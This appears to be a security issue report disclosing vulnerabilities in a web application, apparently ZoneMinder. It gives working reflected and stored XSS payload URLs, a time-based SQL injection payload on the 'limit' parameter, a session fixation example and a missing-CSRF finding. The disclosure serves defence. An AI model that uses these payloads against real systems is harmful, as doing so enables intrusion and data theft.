Issue Description
=================
The following findings are only examples there are quite more. The whole application should be reviewed.
All items tested using Firefox
1)Cross Site Scripting (XSS)
Reflected:
http://192.168.241.131/zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke%27%3Chtml%3E%3Chead%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(1)%3C%2fscript%3E%3C/body%3E%3C/html%3Eayn2h
Reflected without authentication: http://192.168.241.131/zm/index.php/LSE4%22%3E%3Cscript%3Ealert(1)%3C/script%3ELSE
Stored: Creating a new monitor using the name "Bla<script>alert(1)</script>". There is only a clientside protection.
2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.
3)Session Fixation
After a successful authentication the Session Cookie ZMSESSID remains the same.
Example: Cookie before the login = ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2 after successful login
ZMSESSID=26ga0i62e4e51mhfcb68nk3dg2
4)No CSRF Proctection
A possible CSRF attack form, which changes the password of the admin (uid=1), if the corresponding user activates it.
